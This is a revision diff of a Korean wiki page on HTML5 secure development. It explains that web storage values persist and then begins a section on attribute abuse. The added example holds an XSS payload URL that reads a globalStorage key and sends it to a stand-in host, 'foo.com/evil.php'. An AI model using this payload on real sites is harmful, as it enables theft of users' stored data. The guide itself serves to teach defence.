현재 위치: WiKi Security Spirit » 보안 하드닝 가이드 » HTML5 보안 개발 가이드

차이

문서의 선택한 두 판 사이의 차이를 보여줍니다.

차이 보기로 링크

--- guide:html5_개발_보안_가이드 [2013/11/22 08:01] – 새로 만듦 121.140.124.172
+++ guide:html5_개발_보안_가이드 [2013/11/22 08:18] – 121.140.124.172
@@ 줄 26: / 줄 26: @@
 === 나. 안전한 코딩 기법 ===
+Storage에 저장되는 값은 별도의 유효기간이 정해져 있지 않아 영구적으로 보존된다. 따라서 사용되지 않는 데이터는 삭제해 주는 것이 바람직하다.
 === 다. 예제 ===
+  http://example.com/page.php?name=<script>document.write('<img src="http://foo.com/evil.php?name=' %2B globalStorage[location.hostname].mykey %2B '">');</script>
+위의 코드는 example.com 사이트의 page.php의 인자 값 name에 대해 입력 값 검증이 제대로 되어있지 않아 XSS취약점이 존재 했을 때 Storage의 mykey 키의 값을 공격자에게 전송해 주는 코드이다. 만약 중요한 데이터가 남아있었다면 XSS 공격을 사용하여 해당 데이터가 유출되었을 것이다.
+==== 3절. Attribute Abuse ====
+=== 가. 정의 ===
+HTML5에는 새로운 태그가 많이 생겼다. 새로운 속성들이 있는데, 이는 친숙한 태그들에 적용되고 이런 속성들이 abuse 될 수 있다. 이런 속성값들이 자동적인 스크립트 실행의 트리거가 될 경우 위협이 되게 된다.
+=== 나. 안전한 코딩 기법 ===
+=== 다. 예제 ===

추적: